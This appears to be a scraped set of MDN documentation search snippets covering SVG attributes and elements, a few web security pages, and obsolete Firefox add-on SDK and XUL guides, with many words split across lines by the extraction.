as a presentation attribute, it can be applied to any element but it has effect only on the following four elements: <altglyph>, <textpath>, <text>, <tref>, and <tspan> html, body, svg { height: 100%; font: 36px verdana, helvetica, arial, sans-serif; } <svg
viewbox="0 0 150 125" xmlns="http://www.w3.org/2000/svg"> <text x="10" y="30" kerning="auto">auto</text> <text x="10" y="70" kerning="0">number</text> <text x="10" y="110" kerning="20px">length</text> </svg> usage notes value auto | <length> default value auto animatable yes auto this value indicates that the spacing between glyphs is adjusted...
... <length> if a length is pro
vided, then auto-kerning is disabled.
... if a length is pro
vided without a unit identifier (e.g., an unqualified number such as 128), the length is processed as a width value in the current user coordinate system.
... if a unit identifier (e.g., 0.25em or 1%) is pro
vided, then the length is converted into a corresponding value in the current user coordinate system.
stroke-dasharray - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element, but it only has effect on the following twelve elements: <altglyph> <circle> <ellipse> <path> <line> <polygon> <polyline> <rect> <text> <textpath> <tref> <tspan> html,body,svg { height:100% } <svg
viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <!-- no dashes nor gaps --> <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> <!-- dashes and gaps of the same size --> <line x1="0" y1="3" x2="30" y2="3" stroke="black" stroke-dasharray="4" /> <!-- dashes and gaps of different sizes --> <line x1="0" y1="5" x2="30" y2="5" stroke="black" stroke-dasharray="4...
... if an odd number of values is pro
vided, then the list of values is repeated to yield an even number of values.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-dasharraychrome ?
... web
view android ?
stroke-width - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has effect on shapes and text context elements, including: <altglyph>, <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg
viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <!-- default stroke width: 1 --> <circle cx="5" cy="5" r="3" stroke="green" /> <!-- stroke width as a number --> <circle cx="15" cy="5" r="3" stroke="green" stroke-width="3" /> <!-- stroke width as a percentage --> <circle cx="25" cy="5" r="3" stroke="green" stroke-width="2%" /> </svg> usage notes ...
... value <length> | <percentage> default value 1px animatable yes note: a percentage value is always computed as a percentage of the normalized
viewbox diagonal length.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-widthchrome ?
... web
view android ?
text-anchor - SVG: Scalable Vector Graphics
the text-anchor attribute is applied to each indi
vidual text chunk within a given <text> element.
... as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- materialisation of anchors --> <path d="m60,15 l60,110 m30,40 l90,40 m30,75 l90,75 m30,110 l90,110" stroke="grey" /> <!-- anchors in action --> <text text-anchor="start" x="60" y="40">a</text> <text text-anchor="middle" x="60" y="75">a</text> <text text-anchor="end" x="60" y="110">a</text> <!-- materialisation of anchors ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettext-anchorchrome ?
... web
view android ?
text-rendering - SVG: Scalable Vector Graphics
the text-rendering attribute pro
vides hints to the renderer about what tradeoffs to make when rendering text.
... as a presentation attribute, it can be applied to any element but it has effect only on the following element: <text> html, body, svg { height: 100%; } <svg
viewbox="0 0 140 40" xmlns="http://www.w3.org/2000/svg"> <text y="15" text-rendering="geometricprecision">geometric precision</text> <text y="35" text-rendering="optimizelegibility">optimized legibility</text> </svg> usage notes value auto | optimizespeed | optimizelegibility | geometricprecision default value auto animatable yes auto this value indicates that the user agent shall make appropriate tradeoffs to balance speed, legibility a...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettext-renderingchrome ?
... web
view android ?
word-spacing - SVG: Scalable Vector Graphics
the word-spacing attribute specifies spacing beha
vior between words.
... if a <length> is pro
vided without a unit identifier (e.g.
... if a <length> is pro
vided with one of the unit identifiers (e.g.
... as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg
viewbox="0 0 250 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" word-spacing="2">bigger spacing between words</text> <text x="0" y="40" word-spacing="-0.5">smaller spacing between words</text> </svg> usage notes value normal | <length> animatable yes default values normal for a description of the values, please refer to the css letter-spacing...
xlink:href - SVG: Scalable Vector Graphics
22 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use>} html, body, svg { height: 100%; } <svg
viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a xlink:href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> a for <a>, xlink:href defines the location of the referenced object.
... if the xlink:href attribute is not pro
vided, the target element will be the immediate parent element of the current animation element.
... refer to the descriptions of the indi
vidual animation elements for any restrictions on what types of elements can be targets of particular types of animations.
... value <iri> default value none animatable no cursor for <cursor>, xlink:href defines the reference to the file or element which pro
vides the image of the cursor.
SVG Attribute reference - SVG: Scalable Vector Graphics
attributetype autoreverse azimuth b basefrequency baseline-shift baseprofile bbox begin bias by c calcmode cap-height class clip clippathunits clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering contentscripttype contentstyletype cursor cx cy d d decelerate descent diffuseconstant direction display di
visor dominant-baseline dur dx dy e edgemode elevation enable-background end exponent externalresourcesrequired f fill fill-opacity fill-rule filter filterres filterunits flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight format from fr fx fy g g1 g2 glyph-name glyph-orientation-horizontal g...
... pointer-events points pointsatx pointsaty pointsatz preservealpha preserveaspectratio primitiveunits r r radius referrerpolicy refx refy rel rendering-intent repeatcount repeatdur requiredextensions requiredfeatures restart result rotate rx ry s scale seed shape-rendering slope spacing specularconstant specularexponent speed spreadmethod startoffset stdde
viation stemh stemv stitchtiles stop-color stop-opacity strikethrough-position strikethrough-thickness string stroke stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width style surfacescale systemlanguage t tabindex tablevalues target targetx targety text-anchor text-decoration text-rendering textlength to tr...
...ansform transform-origin type u u1 u2 underline-position underline-thickness unicode unicode-bidi unicode-range units-per-em v v-alphabetic v-hanging v-ideographic v-mathematical values vector-effect version vert-adv-y vert-origin-x vert-origin-y
viewbox
viewtarget
visibility w width widths word-spacing writing-mode x x x-height x1 x2 xchannelselector xlink:actuate xlink:arcrole xlink:href xlink:role xlink:show xlink:title xlink:type xml:base xml:lang xml:space y y y1 y2 ychannelselector z z zoomandpan svg attributes by category generic attributes core attributes id, lang, tabindex, xml:base, xml:lang, xml:space style attributes class, style conditional processing attributes externalresourcesrequired, requirede...
...ring, kerning, letter-spacing, lighting-color, marker-end, marker-mid, marker-start, mask, opacity, overflow, pointer-events, shape-rendering, stop-color, stop-opacity, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, text-decoration, text-rendering, transform, transform-origin, unicode-bidi, vector-effect,
visibility, word-spacing, writing-mode filters attributes filter primitive attributes height, result, width, x, y transfer function attributes type, tablevalues, slope, intercept, amplitude, exponent, offset animation attributes animation attribute target attributes attributetype, attributename animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill an...
<feConvolveMatrix> - SVG: Scalable Vector Graphics
the basic convolution formula which is applied to each color value for a given pixel is: colorx,y = ( sum i=0 to [ordery-1] { sum j=0 to [orderx-1] { source x-targetx+j, y-targety+i * kernelmatrixorderx-j-1, ordery-i-1 } } ) / di
visor + bias * alphax,y where "orderx" and "ordery" represent the x and y values for the ‘order’ attribute, "targetx" represents the value of the ‘targetx’ attribute, "targety" represents the value of the ‘targety’ attribute, "kernelmatrix" represents the value of the ‘kernelmatrix’ attribute, "di
visor" represents the value of the ‘di
visor’ attribute, and "bias" represents the...
...assuming the simplest case (where the input image's pixel grid aligns perfectly with the kernel's pixel grid) and assuming default values for attributes ‘di
visor’, ‘targetx’ and ‘targety’, then resulting color value will be: (9* 0 + 8* 20 + 7* 40 + 6*100 + 5*120 + 4*140 + 3*200 + 2*220 + 1*240) / (9+8+7+6+5+4+3+2+1) usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitiv...
...e attributes class style specific attributes in order kernelmatrix di
visor bias targetx targety edgemode kernelunitlength preservealpha dom interface this element implements the svgfeconvolvematrixelement interface.
... example svg <svg width="200" height="200"
viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="emboss"> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -3"/> </filter> </defs> <image xlink:href="/files/12668/mdn.svg" x="0" y="0" height="200" width="200" style="filter:url(#emboss);" /> </svg> result specifications specification status comment filter effects module level 1the definition of '<feconvolvematrix>' in that specification.
<symbol> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 80 20" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- our symbol in its own coordinate system --> <symbol id="mydot" width="10" height="10"
viewbox="0 0 2 2"> <circle cx="1" cy="1" r="1" /> </symbol> <!-- a grid to materialize our symbol positioning --> <path d="m0,10 h80 m10,0 v20 m25,0 v20 m40,0 v20 m55,0 v20 m70,0 v20" fill="no...
... value type: <length>|<percentage>|top|center|bottom ; default value: 0; animatable: yes
viewbox this attribute defines the bound of the svg
viewport for the current symbol.
...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-...
... usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <
view> note: a <symbol> element itself is not meant to be rendered.
Namespaces crash course - SVG: Scalable Vector Graphics
versions of svg
viewers prior to the release of firefox 1.5 unfortunately paid scant attention to namespaces, but they are essential to multi-xml dialect supporting user agents such as gecko-based browsers which must be very strict.
... the real answer to the question is that xml content tells the user agent which dialect the element names belong to by gi
ving them explicit "namespace declarations".
... <svg xmlns="http://www.w3.org/2000/svg"> <!-- more tags here --> </svg> the namespace declaration is pro
vided by the xmlns parameter.
...note that the namespace declaration only needs to be pro
vided once on a root element.
SVG 1.1 Support in Firefox - SVG: Scalable Vector Graphics
see svg animation with smil for a brief over
view.
... element implementation status a quick over
view of the svg 1.1 elements and the current status of the native support.
... svgsvgelement unimplemented attributes: contentscripttype, contentstyletype,
viewport, current
view unimplemented bindings: getintersectionlist, getenclosurelist, checkintersection, checkenclosure g implemented.
...
view module
view implemented in gecko 15.0 (bug 512525).
Basic shapes - SVG: Scalable Vector Graphics
« pre
viousnext » there are several basic shapes used for most svg drawing.
... the purpose of these shapes is fairly ob
vious from their names.
...the one on the right has its rx and ry parameters set, gi
ving it rounded corners.
... « pre
viousnext » ...
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
symptoms pre
viously you were able to open and display svg content with mozilla, but for no apparent reason its beha
viour changes and now it always pops up the "open or save file" dialog when you try to open local svg files, and displays the "additional plugins are required to display all the media on this page" bar when you try to
view html with embedded svg.
...for files loaded over the network
via http, it requires and uses the value assigned to the content-type http header.
...> downloads >
view & edit actions...
... fix for os file associations your os may be associating the wrong media type with the .svg filename extension if you have installed an old program such as photoshop elements 1.0 and chose to install the *very* old adobe svg
viewer that comes bundled with it.
Same-origin policy - Web security
via the window.open() mechanism).
... media played by <
video> and <audio>.
...when two documents do not have the same origin, these references pro
vide very limited access to window and location objects, as described in the next two sections.
... specification: html li
ving standard § cross-origin objects.
Features restricted to secure contexts - Web security
push api 42 17 not supported 44 reporting api supported not supported not supported behind flag since fx 65 ser
vice workers 40 17 11.1 44 storage api 55 not supported not supported 51 web authentication api 65 in pre
view (17) in development 60 web bluetooth 56 not supported not supported not supported web midi (see midiaccess, for example) 43 not supported not supported not supported web crypto api 60...
...ri firefox application cache restricted to secure contexts planned in chrome 70 deprecation planning started in february 2018 public interest on deprecation webkit bug 182442 restricted to secure contexts in firefox 62 geolocation restricted to secure contexts in 50 restricted to secure contexts in 10 restricted to secure contexts in 55 de
vice orientaion / de
vice motion deprecation warning deprecation warnings since 60.
... web crypto api has been restricted to https since early days (api was
visible in http as well but operations failed).
... restricted to secure contexts in chrome 60 (api is no longer
visible on non-secure contexts).
Communicating using "port" - Archive of obsolete content
accessing port accessing port in the content script note that the global self object is completely different from the self module, which pro
vides an api for an add-on to access its data files and id.
...rker.port.emit('warning', 'do not click this again'); }); } }); in the add-on above there are two user-defined messages: click is sent from the page-mod to the add-on, when the user clicks an element in the page warning sends a silly string back to the page-mod port.emit() the port.emit() function sends a message from the "main.js", or another add-on module, to a content script, or
vice versa.
... due to bug 816272 the page-mod's removelistener() function does not prevent the listener from recei
ving messages that are already queued.
Communicating using "postMessage" - Archive of obsolete content
however, the context-menu module does not support port, so to send messages from a content script to the add-on
via a context menu object, you must use message events.
...to simplify this most content modules pro
vide an onmessage property as an argument to the constructor: panel = require("sdk/panel").panel({ onmessage: function(contentscriptmessage) { // handle message from the content script } }); message events versus user-defined events you can use message events as an alternative to user-defined events: var pagemodscript = "window.addeventlistener('mouseover', function(event) {" + ...
... "}, false);"; var pagemod = require('sdk/page-mod').pagemod({ include: ['*'], contentscript: pagemodscript, onattach: function(worker) { worker.on('message', function(message) { console.log('mouseover: ' + message); }); } }); the reason to prefer user-defined events is that as soon as you need to send more than one type of message, then both sending and recei
ving messages gets more complex.
indexed-db - Archive of obsolete content
usage scripts running in web pages can access indexeddb
via the window object.
... = require("sdk/ui/button/action").actionbutton({ id: "add", label: "add", icon: "./add.png", onclick: function() { additem(require("sdk/tabs").activetab.title); } }); var list = require("sdk/ui/button/action").actionbutton({ id: "list", label: "list", icon: "./list.png", onclick: function() { getitems(listitems); } }); note that to run this add-on you'll need to pro
vide icons named "add.png" and "list.png" in the add-on's "data" directory.
... domexception pro
vides more detailed information about an exception.
ui - Archive of obsolete content
experimental pro
vides access to button, toolbar, and sidebar ui objects.
...this page just pro
vides a quick over
view.
...you initialize a toolbar with an array of buttons and frames: var ui = require("sdk/ui"); var { actionbutton } = require("sdk/ui/button/action"); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var pre
vious = ui.actionbutton({ id: "pre
vious", label: "pre
vious", icon: "./icons/pre
vious.png" }); var next = ui.actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = ui.actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = ui.frame({ url: "./frame-player.html" }); var toolbar = ui.toolbar({ title: "player", items: [prev...
content/mod - Archive of obsolete content
experimental pro
vides functions to modify a page content.
...if window is not pro
vided modification is removed from all targets it's being attached to.
...if target is not pro
vided modification is removed from all targets it's being attached to.
frame/utils - Archive of obsolete content
experimental pro
vides helper functions for working with platform internals like frames and browsers.
... usage module exports create function that takes the nsidomdocument of a pri
vileged document and creates a browser element in its documentelement: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,foo'); let frame = create(window.document); optionally create can be passed set of options to configure created frame even further.
... execution of scripts may easily be enabled: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,top'); let frame = create(window.document, { uri: 'data:text/html,<script>console.log("running");</script>', allowjavascript: true }); } globals functions create(document, options) creates a xul browser element in a pri
vileged document.
lang/functional - Archive of obsolete content
usage the lang/functional module pro
vides functional helper methods.
...useful for initialization functions, instead of ha
ving to set a boolean flag and checking it later.
... let { once } = require("sdk/lang/functional"); let setup = once(function (env) { // initializing important things console.log("successfully initialized " + env); return 1; // assume success and return 1 }); setup('dev'); // returns 1 // prints "successfully initialized dev" // future attempts to call this function just return the cached // value that was returned pre
viously setup('production'); // returns 1 // no print message is displayed since the function isn't executed parameters fn : function the function that will be executed only once inside the once wrapper.
system/events - Archive of obsolete content
api for working with the application observer ser
vice.
... usage the system/events module pro
vides core (low level) api for working with the application observer ser
vice, also known as nsiobserverser
vice.
... var events = require("sdk/system/events"); var { ci } = require("chrome"); function listener(event) { var channel = event.subject.queryinterface(ci.nsihttpchannel); channel.setrequestheader("user-agent", "mybrowser/1.0", false); } events.on("http-on-modify-request", listener); globals functions emit(type, event) send an event to observer ser
vice parameters type : string the event type.
console - Archive of obsolete content
especially when debug logging shows up in a production en
vironment, the noise can make it harder, not easier, to debug issues.
... this means that the same code can be more verbose in a development en
vironment than in a production en
vironment - you just need to arrange for the appropriate logging level to be set.
... both these preferences can be set programmatically using the preferences/ser
vice api, or manually using about:config.
jpm-mobile - Archive of obsolete content
npm is included in node.js, so to install npm,
visit nodejs.org and click the install button.
... jpm-mobile run this command runs a new instance of firefox with the add-on installed: jpm-mobile run jpm-mobile run accepts the following options: --adb /path/to/adb pro
vides the path to adb.
... jpm-mobile test accepts the following options: --adb /path/to/adb pro
vides the path to adb.
Tools - Archive of obsolete content
articles listed here pro
vide a reference for the sdk's tools: cfx enables you to test, run, and package add-ons.
... jpmignore use .jpmignore to ignore files from your xpi builds created
via jpm.
... package.json the package.json file contains manifest data for your add-on, pro
viding not only descriptive information about the add-on for presentation in the add-ons manager, but other metadata required of add-ons.
Storing annotations - Archive of obsolete content
ntscriptfile: data.url('editor/annotation-editor.js'), onmessage: function(annotationtext) { if (annotationtext) handlenewannotation(annotationtext, this.annotationanchor); annotationeditor.hide(); }, onshow: function() { this.postmessage('focus'); } }); listing stored annotations to prove that this works, let's implement the part of the add-on that displays all the pre
viously entered annotations.
... the panel has three new files associated with it: a content-script which builds the panel content a simple html file used as a template for the panel's content a simple css file to pro
vide some basic styling.
...add the following to your add-on's main function: simplestorage.on("overquota", function () { notifications.notify({ title: 'storage space exceeded', text: 'remo
ving recent annotations'}); while (simplestorage.quotausage > 1) simplestorage.storage.annotations.pop(); }); because we use a notification to alert the user, we need to import the notifications module: var notifications = require("sdk/notifications"); (it should be ob
vious that this is an incredibly unhelpful way to deal with the problem.
Modifying the Page Hosted by a Tab - Archive of obsolete content
this add-on creates a button with mozilla fa
vicon as an icon.
...this makes the code easier to maintain, debug, and re
view.
... to do this, pro
vide option contentscriptfile not contentscript, whose value is a url pointing to one or more content script files.
Using third-party modules (jpm) - Archive of obsolete content
before the jpm tool was available, there wasn't any package manager for these community-developed modules, so it wasn't ob
vious where to find community-developed modules, or how to install and update them.
...in your add-on code, you can require() modules by passing a path to the module starting from, but not including "node_modules": var menuitems = require("menuitem"); details create a new directory called, for example, "my-menuitem", na
vigate to it, type "jpm init" and accept all the defaults: mkdir my-menuitem cd my-menuitem jpm init install the menuitem package from npm: npm install menuitem --save this will install the package in the current directory, under a directory called "node_modules".
... note: in more recent versions of firefox, the menu bar may not be
visible by default.
On page load - Archive of obsolete content
creating an overlay first, you need to create an overlay to one (or more, depending on which applications you target) of the following xul documents: application uri to overlay firefox chrome://browser/content/browser.xul thunderbird chrome://messenger/content/messenger.xul na
vigator from seamonkey chrome://na
vigator/content/na
vigator.xul attaching a script attach a script to your overlay (see "attaching a script to an overlay") that adds a load event listener to appcontent element (browsers) or messagepane (mail): window.addeventlistener("load", function load(event){ window.removeeventlistener("load", load, false); //remove listener, no longer needed ...
... if(doc.location.href.search("forum") > -1) alert("a forum page is loaded"); // add event listener for page unload aevent.originaltarget.default
view.addeventlistener("unload", function(event){ myextension.onpageunload(event); }, true); }, onpageunload: function(aevent) { // do something } }; current firefox trunk nightlies will fire the onpageload function for not only documents, but xul:images (fa
vicons in tabbrowser).
... if(gbrowser) gbrowser.addeventlistener("domcontentloaded", this.onpageload, false); }, onpageload: function(aevent) { var doc = aevent.originaltarget; // doc is document that triggered the event var win = doc.default
view; // win is the window for the doc // test desired conditions and do something // if (doc.nodename != "#document") return; // only documents // if (win != win.top) return; //only top window.
JavaScript Daemons Management - Archive of obsolete content
for a fast over
view on the code proposed here you can git clone https://github.com/madmurphy/daemon.js.git.
...you could remove this method, but your daemon will be
virtually unusable.
... * all other optional instances methods depend on this one or on the pre
vious ones.
Tree - Archive of obsolete content
expanding/collapsing all tree nodes to expand all tree nodes: var tree
view = tree.treeboxobject.
view; for (var i = 0; i < tree
view.rowcount; i++) { if (tree
view.iscontainer(i) && !tree
view.iscontaineropen(i)) tree
view.toggleopenstate(i); } to collapse all tree nodes just change the condition: var tree
view = tree.treeboxobject.
view; for (var i = 0; i < tree
view.rowcount; i++) { if (tree
view.iscontainer(i) && tree
view.iscontaineropen(i)) tree
view.toggleopenstate(i); } getting the text from the selected row assuming the given <tree>: <tree id="my-tree" seltype="single" onselect="ontreeselected()"> use the following javascript: function ontreeselected(){ var tree = document.getelementbyid("my-tree"); var cellindex = 0; var celltext = tr...
...ee.
view.getcelltext(tree.currentindex, tree.columns.getcolumnat(cellindex)); alert(celltext); } getting the tree item from the focused row assuming <tree id="my-tree">, you can use the following to get the tree item: var
view = document.getelementbyid("my-tree").
view; var sel =
view.selection.currentindex; //returns -1 if the tree is not focused var treeitem =
view.getitematindex(sel); note that the current index may be unselected (for example, a multi-select tree).
...g the given <tree>: <tree id="my-tree" onclick="ontreeclicked(event)"> use the following javascript: function ontreeclicked(event){ var tree = document.getelementbyid("my-tree"); var tbo = tree.treeboxobject; // get the row, col and child element at the point var row = { }, col = { }, child = { }; tbo.getcellat(event.clientx, event.clienty, row, col, child); var celltext = tree.
view.getcelltext(row.value, col.value); alert(celltext); } getting the selected indices of a multiselect tree var start = {}, end = {}, numranges = tree.
view.selection.getrangecount(), selectedindices = []; for (var t = 0; t < numranges; t++){ tree.
view.selection.getrangeat(t, start, end); for (var v = start.value; v <= end.value; v++) selectedindices.push(v); } other res...
Windows - Archive of obsolete content
example window.open(); //this open a pop-up window that could be "blocked" client-side //the following code generate an error as describe in the following warning box var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getser
vice(components.interfaces.nsiwindowmediator); var newwindow = wm.getmostrecentwindow("na
vigator:browser"); var b = newwindow.gbrowser; the code generate a typeerror from firefox console.
...this code will check for a window of the pro
vided name.
... var wenum = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getser
vice(components.interfaces.nsiwindowwatcher) .getwindowenumerator(); var index = 1; var windowname = "yourwindowname"; while (wenum.hasmoreelements()) { var win = wenum.getnext(); if (win.name == windowname) { win.focus(); return; } index++ } window.open("chrome://to/your/window.xul", windowname, "features"); uniquely identifying dom windows requires gecko 2.0(firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko, each dom window has a unique 64-bit id number.
Custom about: URLs - Archive of obsolete content
ser
vices.io.newchannel was deprecated, and the signature of the newchannel method changed.
... const {classes: cc, interfaces: ci, manager: cm, results: cr, utils: cu, constructor: cc} = components; cm.queryinterface(ci.nsicomponentregistrar); components.utils.import("resource://gre/modules/ser
vices.jsm"); // globals const aboutpage_description = 'this is my custom about page'; const aboutpage_id = 'aa132730-2278-11e5-867f-0800200c9a66'; // make sure you generate a unique id from https://www.famkruithof.net/uuid/uuidgen const aboutpage_word = 'myaboutpage' const aboutpage_uri = 'data:text/html,hi this is the page that is shown when na
vigate to about:myaboutpage'; // const aboutpage_uri = 'chrome://myaboutaddon/content/index.html'; class aboutpage { static get classid() { ret...
...utpage_description; } static get contractid() { return `@mozilla.org/network/protocol/about;1?what=${aboutpage_word}`; } static get queryinterface() { return xpcomutils.generateqi([ci.nsiaboutmodule]); } constructor() { object.freeze(this); } geturiflags(auri) { return ci.nsiaboutmodule.allow_script; } newchannel(auri, asecurity_or_aloadinfo) { let channel; if (ser
vices.vc.compare(ser
vices.appinfo.version, '47.*') > 0) { const uri = ser
vices.io.newuri(aboutpage_uri, null, null); // greater than or equal to firefox48 so asecurity_or_aloadinfo is aloadinfo channel = ser
vices.io.newchannelfromuriwithloadinfo(uri, asecurity_or_aloadinfo); } else { channel = ser
vices.io.newchannel(aboutpage_uri, null, null); } channel.or...
Installing Extensions and Themes From Web Pages - Archive of obsolete content
extension and web authors are encouraged to use the method described below to install xpis, as it pro
vides the best experience to users.
... return false; this last part is the most important - the install function must return false so that when the link is clicked, only the script is run, and the link href is not na
vigated to.
... (* by all means don't let this stop you from developing more ambitious install systems, i am pro
viding this documentation only as a guide that i hope most extension distributors will use since it handles most cases well) ...
Migrating raw components to add-ons - Archive of obsolete content
components added in this way are in
visible to users and cannot be managed through the firefox add-ons manager.
...as we roll this new beha
vior out, this document will be updated with additional information addressing scenarios we see developers encountering.
... automatic installation once you have an add-on packaged, users can install it by
visiting your site and gi
ving the add-on permission to install.
Offering a context menu for form controls - Archive of obsolete content
firefox 3 changed the beha
vior of right-click on form controls to no longer display a context menu by default.
... <overlay id="formcontrolcontextmenu-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://formcontrolcontextmenu/content/overlay.js"/> </overlay> change the right-click beha
vior the overlaid code is responsible for adjusting the beha
vior of right-clicking on form controls.
... as a result, all controls in the window will support a context menu when right-clicked, since we've changed the core beha
vior of context menus to override their default beha
vior of doing nothing on form controls.
Introduction - Archive of obsolete content
we have poured years of xul experience into it, pro
viding many solutions for problems extension developers commonly run into.
...in most cases we'll pro
vide code samples that you can easily copy and adapt to your needs, as well as some working example extensions.
... xulrunner xulrunner includes the gecko rendering engine, the necko networking library, and several other components that pro
vide os-independent file management, accessibility, and localization, among others.
Overlay extensions - Archive of obsolete content
this page contains links to documentation for the approach to developing extensions for gecko-based applications which uses: xul overlays to specify the interface apis available to pri
vileged code, such as tabbrowser and javascript modules, to interact with the application and content.
...the pri
vileged javascript apis described here can still be used in these newer types of add-ons.
... more resources setting up your en
vironment setting up the application for extension development.
Creating reusable content with CSS and XBL - Archive of obsolete content
information: xbl bindings the structure pro
vided by markup languages and css is not ideal for complex applications where parts need to be self-contained and reusable.
...you can use css to pro
vide content for selected elements, but the content is limited to text and images, and its positioning is limited to before or after the selected element.
... mozilla pro
vides a mechanism that overcomes these limitations: xbl (xml bindings language).
Creating a Web based tone generator - Archive of obsolete content
setinterval(function() { var written; // check if some data was not written in pre
vious attempts.
... if(tail) { written = audio.mozwriteaudio(tail); currentwriteposition += written; if(written < tail.length) { // not all the data was written, sa
ving the tail...
... written = audio.mozwriteaudio(sounddata); if(written < sounddata.length) { // not all the data was written, sa
ving the tail.
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
it is ad
visable to rename the control and not to install somewhere like the windows directory where it is likely to be overridden.
... manual installation assuming you have the precompiled pluginhostctrl.dll and wish to install it on a machine, you must register it either through an install script or manually: regsvr32 pluginhostctrl.dll you must have administrator pri
vileges to install a new control on operating systems such as windows nt, 2000 & xp.
... usage insert some html like this into your content: <object classid="clsid:dbb2de32-61f1-4f7f-beb8-a37f5bc24ee2" width="500" height="300"> <param name="type" value="
video/quicktime"/> <param name="src" value="http://www.foobar.com/some_mo
vie.mov"/> <!-- custom arguments --> <param name="loop" value="true"/> </object> the classid attribute tells ie to create an instance of the plug-in hosting control, the width and height specify the dimensions in pixels.
Structure of an installable bundle - Archive of obsolete content
additional resources (such as chrome:// or resource:// pro
viders can be registered in the chrome.manifest) application-specific /searchplugins/*.src sherlock search plugins firefox 1.5 and greater.
...themes are limited for security reasons, and can normally only pro
vide a chrome.manifest which registers the theme and a jar file.
...for example, if a plugin vendor wanted to make a plugin available for consumer computers running linux(of the form: /platform/linux*/), macintosh(of the form: /platform/darwin*/), and windows(of the form: /platform/win*/), it would pro
vide the following files: /platform/linux_x86-gcc3/plugins/libmyplugin.so /platform/winnt_x86-msvc/plugins/myplugin.dll /platform/darwin_ppc-gcc3/plugins/libmyplugin.dylib because xpt files are not platform-specific, any associated xpt files would go in the generic components directory: /components/myplugin.xpt if an extension has non-binary platform-specific code (such as code which uses the ...
Adding the structure - Archive of obsolete content
« pre
viousnext » the ui for our extension is an icon in the status bar.
... to implement this ui, we'll add a statusbarpanel element to the statusbar element in the na
vigator.xul file.
... « pre
viousnext » ...
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
we need to change some urls in the copy of tinderstatusoverlay.xul to point to the new locations the files will be in when they get installed
